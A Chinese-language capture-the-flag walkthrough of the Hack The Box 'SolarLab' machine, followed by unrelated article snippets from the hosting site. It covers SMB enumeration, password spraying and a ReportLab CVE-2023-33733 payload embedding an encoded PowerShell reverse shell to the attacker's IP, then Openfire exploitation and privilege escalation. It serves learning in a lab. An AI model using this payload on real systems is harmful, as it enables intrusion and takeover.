SolarLab - hackthebox

简介

靶机名称:SolarLab

难度:中等

靶场地址:https://app.hackthebox.com/machines/SolarLab

本地环境

靶机IP :10.10.11.16

ubuntu渗透机IP(ubuntu 22.04):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap起手

nmap -sT -p0- 10.10.11.16 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.16 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 22:30 CST
Nmap scan report for solarlab.htb (10.10.11.16)
Host is up (0.091s latency).PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: SolarLab Instant Messenger
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -6m20s
| smb2-time:
|   date: 2024-06-10T14:24:35
|_  start_date: N/AOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.99 seconds

80和6791端口。值得一提的是nmap不要扫太快,加–min-rate或者-T什么的参数,不然6791会漏掉。

HTTP

访问靶机ip时会被重定向到solarlab.htb和report子域名加上。在hosts里加上即可继续访问。

80端口

一个倒计时页面。信息收集一波,没有明显的利用点。

image-20240610165158164

路径扫描

 gobuster dir -u  http://solarlab.htb -w $HVV_PATH/8_dict/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -b 400-404 -t 10 -x php,zip,bak,jpg,png,mp4,mkv,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://solarlab.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /root/Tool/HVV//8_dict/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   400,401,402,403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,png,mp4,txt,html,php,zip,jpg,mkv
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 169] [--> http://solarlab.htb/images/]
/index.html           (Status: 200) [Size: 16210]
/Images               (Status: 301) [Size: 169] [--> http://solarlab.htb/Images/]
/assets               (Status: 301) [Size: 169] [--> http://solarlab.htb/assets/]
/Index.html           (Status: 200) [Size: 16210]
/IMAGES               (Status: 301) [Size: 169] [--> http://solarlab.htb/IMAGES/]
/%20                  (Status: 200) [Size: 16210]
/Assets               (Status: 301) [Size: 169] [--> http://solarlab.htb/Assets/]
/INDEX.html           (Status: 200) [Size: 16210]

子域名收集

 ffuf  -u http://solarlab.htb  -w  $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt  -c -H "Host:FUZZ.solarlab.htb"  -t 5  -fw 5/'___\  /'___\           /'___\/\ \__/ /\ \__/  __  __  /\ \__/\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/\ \_\   \ \_\  \ \____/  \ \_\\/_/    \/_/   \/___/    \/_/v2.1.0
________________________________________________:: Method           : GET:: URL              : http://solarlab.htb:: Wordlist         : FUZZ: /root/Tool/HVV/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt:: Header           : Host: FUZZ.solarlab.htb:: Follow redirects : false:: Calibration      : false:: Timeout          : 10:: Threads          : 5:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500:: Filter           : Response words: 5
________________________________________________:: Progress: [114441/114441] :: Job [1/1] :: 46 req/sec :: Duration: [0:39:24] :: Errors: 0 ::

暂弃80

6791端口

直接访问会重定向到域名report.solarlab.htb。加入hosts后再去访问。

image-20240610223900331

未知框架。用户名也爆不出来。sql注入打不进去。

再换个方向。

SMB

随手使用enum4linux-ng收集一波smb服务的信息,结果发现可以匿名登录。

./enum4linux-ng -A 10.10.11.16

ENUM4LINUX - next generation (v1.3.2)==========================
|    Target Information    |==========================
[*] Target ........... 10.10.11.16
[*] Username ......... ''
[*] Random Username .. 'raikndeq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)====================================
|    Listener Scan on 10.10.11.16    |====================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: timed out
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: timed out
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.16    |==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out========================================
|    SMB Dialect Check on 10.10.11.16    |========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:SMB 1.0: falseSMB 2.02: trueSMB 2.1: trueSMB 3.0: trueSMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false==========================================================
|    Domain Information via SMB session for 10.10.11.16    |==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: SOLARLAB
NetBIOS domain name: ''
DNS domain: solarlab
FQDN: solarlab
Derived membership: workgroup member
Derived domain: unknown========================================
|    RPC Session Check on 10.10.11.16    |========================================
[*] Check for null session
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for random user
[+] Server allows session using username 'raikndeq', password ''
[H] Rerunning enumeration with user 'raikndeq' might give more results==============================================
|    OS Information via RPC for 10.10.11.16    |==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '2004'
OS build: '19041'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null[!] Aborting remainder of tests, sessions are possible, but not with the provided credentials (see session check results)

然后使用smbmap去穷举所有共享的文件夹,可以看见Document是允许我们访问的。

smbmap -H 10.10.11.16 -u guest -R

 smbmap -H 10.10.11.16 -u guest -R
[+] IP: 10.10.11.16:445 Name: solarlab.htbDisk                                                    Permissions     Comment----                                                    -----------     -------ADMIN$                                                  NO ACCESS       Remote AdminC$                                                      NO ACCESS       Default shareDocuments                                               READ ONLY.\Documents\*dw--w--w--                0 Fri Apr 26 22:47:14 2024    .dw--w--w--                0 Fri Apr 26 22:47:14 2024    ..dr--r--r--                0 Fri Apr 26 22:41:57 2024    conceptsfr--r--r--              278 Fri Nov 17 20:34:54 2023    desktop.inifr--r--r--            12793 Fri Nov 17 20:34:54 2023    details-file.xlsxdr--r--r--                0 Fri Nov 17 03:36:51 2023    My Musicdr--r--r--                0 Fri Nov 17 03:36:51 2023    My Picturesdr--r--r--                0 Fri Nov 17 03:36:51 2023    My Videosfr--r--r--            37194 Fri Apr 26 22:44:18 2024    old_leave_request_form.docx.\Documents\concepts\*dr--r--r--                0 Fri Apr 26 22:41:57 2024    .dr--r--r--                0 Fri Apr 26 22:41:57 2024    ..fr--r--r--           161337 Fri Apr 26 22:41:33 2024    Training-Request-Form.docxfr--r--r--            30953 Fri Apr 26 22:41:58 2024    Travel-Request-Sample.docxIPC$                                                    READ ONLY       Remote IPC.\IPC$\*fr--r--r--                3 Mon Jan  1 08:05:43 1601    InitShutdownfr--r--r--                4 Mon Jan  1 08:05:43 1601    lsassfr--r--r--                3 Mon Jan  1 08:05:43 1601    ntsvcsfr--r--r--                3 Mon Jan  1 08:05:43 1601    scerpcfr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-298-0fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-388-0fr--r--r--                3 Mon Jan  1 08:05:43 1601    epmapperfr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-218-0fr--r--r--                3 Mon Jan  1 08:05:43 1601    LSM_API_servicefr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-3b8-0fr--r--r--                3 Mon Jan  1 08:05:43 1601    eventlogfr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-200-0fr--r--r--                3 Mon Jan  1 08:05:43 1601    atsvcfr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-574-0fr--r--r--                4 Mon Jan  1 08:05:43 1601    wkssvcfr--r--r--                3 Mon Jan  1 08:05:43 1601    trkwksfr--r--r--                3 Mon Jan  1 08:05:43 1601    tapsrvfr--r--r--                4 Mon Jan  1 08:05:43 1601    srvsvcfr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-290-0fr--r--r--                1 Mon Jan  1 08:05:43 1601    vgauth-servicefr--r--r--                3 Mon Jan  1 08:05:43 1601    ROUTERfr--r--r--                3 Mon Jan  1 08:05:43 1601    MsFteWdsfr--r--r--                1 Mon Jan  1 08:05:43 1601    SearchTextHarvesterfr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624673675211861.2820.DefaultAppDomain.powershellfr--r--r--                1 Mon Jan  1 08:05:43 1601    PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDERfr--r--r--                3 Mon Jan  1 08:05:43 1601    W32TIME_ALTfr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624698119309980.5404.DefaultAppDomain.powershellfr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624717385115612.316.DefaultAppDomain.powershellfr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624915711823366.4984.DefaultAppDomain.powershellfr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624936375064140.1068.DefaultAppDomain.powershell

用smbclient递归下载文件即可

smbclient  //10.10.11.16/Documents -U guest%
recurse	ON			#开启递归,开启后会以目录递归方式运行mget和mput命令
prompt OFF			#关闭交互,开启后,下载文件时不再要求输入y/n确认
mget *				#批量获取文件,*是一个调配符,递归遍历时,任何文件名符合通配符的文件都会下载下来,*可以匹配所有

image-20240610230944366

密码喷洒

detail-file.xlsx里面是账号信息表

image-20240610231336071

写了字典去喷洒,结果怎样变换都爆不出。后来打算从命名规则入手,发现如下规律:

邮箱是Alexander.knight@gmail.com,因为.之后1位是字母K,所以用户名为AlexanderK或者KAlexander

邮箱是Claudia.springer@gmail.com,因为.之后1位是S,所以用户名为ClaudiaS

那么blake@purdue.edu呢?因为之前有个blake.byte,所以可以猜测用户名是BlakeB

这下终于爆出来了,账密是BlakeB/ThisCanB3typedeasily1@

image-20240611222249502

漏洞利用

该网页的功能是将用户输入的内容根据固定的模板输出为PDF文件。

image-20240611222433111

网上去搜了一下,发现是有POC的。

https://github.com/buiduchoang24/CVE-2023-33733

image-20240611223829826因为这个CVE其实就是通过HTML标签来执行python命令,所以我们要找到一个HTML的输入位置——正好就在Home Office Request页中的address栏。

同时因为目标主机系统是windows,所以上传html之前记得把[os].system()中的内容换成powershell的

<para><font color="[ [ getattr(pow,Attacker('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Attacker in [orgTypeFun('Attacker', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>
</para>

注意输入有100字符的限制。我们可以去开发者工具里面把限制修改掉

image-20240615142321391

然后就能弹到shell了

image-20240615142413245

在blake用户的桌面上找到user.txt

image-20240615142624355

018a308fbaab8b9ddebb549ca3cd359c

提权

首先传个马维权。发现powershell执行权限很低,所以用curl来代替

image-20240615161412883

收集信息,发现有openfire服务

PS C:\Users\blake\Documents\app> net userUser accounts for \\SOLARLAB-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount
Guest                    openfire                 WDAGUtilityAccount
The command completed successfully.
PS C:\Users\blake\Documents\app> ps -ano
PS C:\Users\blake\Documents\app> ps | findstr openfire102       7     1260          0              3184   0 openfire-service                 932      87   355484      50476              3216   0 openfire-service

探测一波端口,这么多3216,哪个才是真的openfire网页?查了一下发现默认是9090和9091

image-20240615190336577

因为服务设置在内网,所以要端口转发。这里我本来用NATbypass,结果不知道为什么会无效,于是转为使用frp——谁知道还有什么麻烦在等着。

攻击机frps.ini内容

[common]
bind_port = 7000

frpc.ini

[common]
server_addr = 10.10.14.20
server_port = 7000[tcp]
type = tcp
local_ip = 127.0.0.1
local_port = 9090
remote_port = 50001[tcp2]
type = tcp
local_ip = 127.0.0.1
local_port = 9091
remote_port = 50002

image-20240615191040857

可以看到版本是4.7.4,这个版本的openfire有一个经典的漏洞rce_cve_2023_32315,正好msfconsole上面有,直接梭了

image-20240615191912325

至此拿到openfire的shell

OpenFire_Decrypt

shell里找了一圈没什么东西,突然想到admin账号的密码还没试过。在网上找到了解密工具

https://github.com/jas502n/OpenFire_Decrypt

解密需要两样东西——encryptedPassword passwordKey。它们在创建账号的时候会在数据库中插入,所以查看日志文件即可。这里的log文件经常改动,需要去.script文件里面找。

image-20240615204801567

image-20240615205334525

image-20240615205411939

得到admin密码为ThisPasswordShouldDo!@

RunasCs

因为拿到的shell不完整,而且powershell执行权限受到限制,所以这里用RunasCs来跑木马

shell RunasCs.exe Administrator ThisPasswordShouldDo!@ "./1.exe"

image-20240615210546138

成功提权

image-20240615210712736

200357b8f86e142bf793d55971139a42

后言

水平还是差,中级靶场打了整整半天……不过靶场本身质量真的高,一路下来学到不少东西,感谢感谢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/27842.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis的安装(linux、docker)与其基本的api使用

一、Redis简介 Redis是一个开源的&#xff0c;使用 C 编写&#xff0c;高性能的Key-Value的NoSQL数据库。 SQL &#xff1a;关系型数据库&#xff0c;例如&#xff1a;MySQL&#xff0c;Oracle等等NoSQL &#xff1a;Not Only SQL 不仅仅是SQL&#xff0c;表示是非关系型数据库…

《华为项目管理之道》第1章笔记

《华为项目管理之道》&#xff0c;是新出的华为官方的项目管理书&#xff0c;整个书不错。第1章的精华&#xff1a; 1.2.2 以项目为中心的机制 伴随着项目型组织的建立&#xff0c;华为逐步形成了完备的项目管理流程和制度&#xff0c;从而将业务运 作构建在项目经营管理之…

Mybatis-Plus多种批量插入方案对比

背景 六月某日上线了一个日报表任务&#xff0c;因是第一次上线&#xff0c;故需要为历史所有日期都初始化一次报表数据 在执行过程中发现新增特别的慢&#xff1a;插入十万条左右的数据&#xff0c;SQL执行耗费高达三分多钟 因很早就听闻过mybatis-plus的[伪]批量新增的问题&…

python命名空间详解

Python中的命名空间是编程语言设计的一个核心概念&#xff0c;它负责存储变量名与其对应的值之间的映射关系&#xff0c;确保了程序中变量的唯一性和可访问性。命名空间不仅关乎变量的生命周期和作用范围&#xff0c;也是Python中实现封装、避免命名冲突的重要机制。 1. 命名空…

ORA-27090: Unable to reserve kernel resources for asynchronous disk I/O

一套11.2.0.4的rac库巡检&#xff0c;发现asm实例日志有如下报错 2.5.2 locate alert_${hst}.log tail -n 200 /oracle/app/grid/diag/asm/asm/ASM1/trace/alert_ASM1.log Errors in file /oracle/app/grid/diag/asm/asm/ASM1/trace/ASM1_ora_96212.trc: ORA-27090: Unable to…

利器放送丨如何在PS里使用stable diffusion插件?

各位设计界的领军人物们&#xff0c;你们一定对PS&#xff08;也就是大家熟知的Photoshop&#xff09;不陌生吧。同样&#xff0c;对于AI领域的精英们&#xff0c;SD&#xff08;stablediffusion&#xff09;这款软件也应该是如雷贯耳。这两款软件&#xff0c;各自独立且功能强…

c++题目_第K小的数(进阶)

第K小的数 时间限制&#xff1a; C/C 1s 其他语言 2s 空间限制&#xff1a; C/C 256MB 其他语言 512MB 题目描述 给定 nn 个正整数 a1,a2,…,ana1​,a2​,…,an​ 和 mm 个正整数 b1,b2,…,bmb1​,b2​,…,bm​。 请在 nmnm 个 aibj(1≤i≤n,1≤j≤m)ai​bj​(1≤i≤…

VSCode格式化插件-prettier

VSCode格式化插件 1.安装插件&#xff1a;prettier 2.设置默认格式化工具 设置中&#xff0c;搜索 “Default Formatter”。 在编辑器设置中&#xff0c;将默认格式化工具设为 Prettier。 3.启用格式化选项&#xff1a; 在设置中搜索 “Format On Save”&#xff0c;并勾选…

fastapi相关知识点回顾

poetry poetry是一个包管理工具&#xff0c;能够管理一个项目中python相关的依赖。 安装&#xff1a; pip install poetry初始化项目&#xff1a; poetry init添加依赖&#xff1a; poetry add fastapi这个命令相当于 pip instal fastatpi。 poetry使用国内源 poetry 默…

几种经典查找算法

几种经典查找算法 顺序查找法二分查找法判定树 二叉查找树&#xff08;BST&#xff09;索引查找B-树B树散列表&#xff08;hash&#xff09;查找 顺序查找法 顺序查找的平均查找长度为&#xff1a; 时间复杂度为0&#xff08;n&#xff09;&#xff1b; 二分查找法 int bin…

vxe-table表格新增节点

做前端的朋友可以参考下&#xff1a;也可结合实际需求查看相应的官方文档 效果图 附上完整代码 <template><div><vxe-toolbar ref"toolbarRef" :refresh"{queryMethod: searchMethod}" export print custom><template #buttons>&…

算法训练营第六十天(延长12天添加图论) | LeetCode 647 回文子串、LeetCode 516 最长回文子序列

LeetCode 67 回文子串 思路很简单&#xff0c;每一个dp[i]等于dp[i-1]加上当前字符向前直到0各个长度字符串回文串个数即可 代码如下&#xff1a; class Solution {public boolean isValid(String s) {int l 0, r s.length() - 1;while (l < r) {if (s.charAt(l) ! s.ch…

MAC 下搭建LVGL仿真器

0.前置条件&#xff0c;保证电脑已经安装cmake&#xff0c;sdl2. 1. 下载仿真器代码&#xff1a;&#xff1a; git clone https://github.com/lvgl/lv_sim_vscode_sdl.git 2. 因为上面的仓库默认是没有lvgl源码&#xff0c;故cd 到lv_sim_vscode_sdl目录下&#xff0c;再下…

08:打印字符

OpenJudge - 08:打印字符 描述 输入一个ASCII码&#xff0c;输出对应的字符。 输入 一个整数&#xff0c;即字符的ASCII码&#xff0c;保证存在对应的可见字符。 输出 一行&#xff0c;包含相应的字符。 样例输入 65 样例输出 A >>>>>>分割线>>>>…

代码随想录算法训练营第三十八天| 509. 斐波那契数、70. 爬楼梯、 746. 使用最小花费爬楼梯

LeetCode 509. 斐波那契数 题目链接&#xff1a;https://leetcode.cn/problems/fibonacci-number/description/ 文章链接&#xff1a;https://programmercarl.com/0509.%E6%96%90%E6%B3%A2%E9%82%A3%E5%A5%91%E6%95%B0.html 思路 public int fib(int n) {// dp[i]表示第i个数…

Java 注解设计 -- Java 语言注解的介绍、高阶应用与自定义注解

大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 012 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…

如何通过抖音自动评论精准获客实现业务增长?这些方法值得一试!

在当今竞争激烈的商业环境中&#xff0c;企业若想脱颖而出&#xff0c;就必须掌握精准获客的艺术。精准获客&#xff0c;即通过精确的市场定位和营销策略&#xff0c;吸引并保留最有可能成为客户的目标群体。它不仅能提高转化率&#xff0c;还能有效降低营销成本&#xff0c;是…

搭建自己的AI模型应用网站:JavaScript + Flask-Python + ONNX

1. 前言 本文作者以一个前端新手视角&#xff0c;部署自己的神经网络模型作为后端&#xff0c;搭建自己的网站实现应用的实战经历。目前实现的网页应用有&#xff1a; AI 语音服务主页AI 语音识别AI 语音合成AI CP号码生成器 欢迎大家试用感受&#xff0c;本文将以博客基于G…

linux信息查询

技术|17 种查看 Linux 物理内存的方法 apt install -y neofetch screenfetch glances glances 0x41 - 1.54/1.54GHz user system idle iowait steal MEM - 53.0% active 168M SW…

程序设计实践--4

数阵 矩阵加法 程序先输入两个整数m, n(0<=m,n<=100),分别表示矩阵的行数和列数,然后分别输入m行n列的两个矩阵A,B。 输出描述 输出矩阵相加的结果。 用例输入 1 3 4 1 2 3 4 5 6 7 8 1 0 1 0 3 4 2 1 4 6 7 9 3 4 2 0 用例输出 1 4 6 5 5 9 12 14 17 4 4 3 0 #…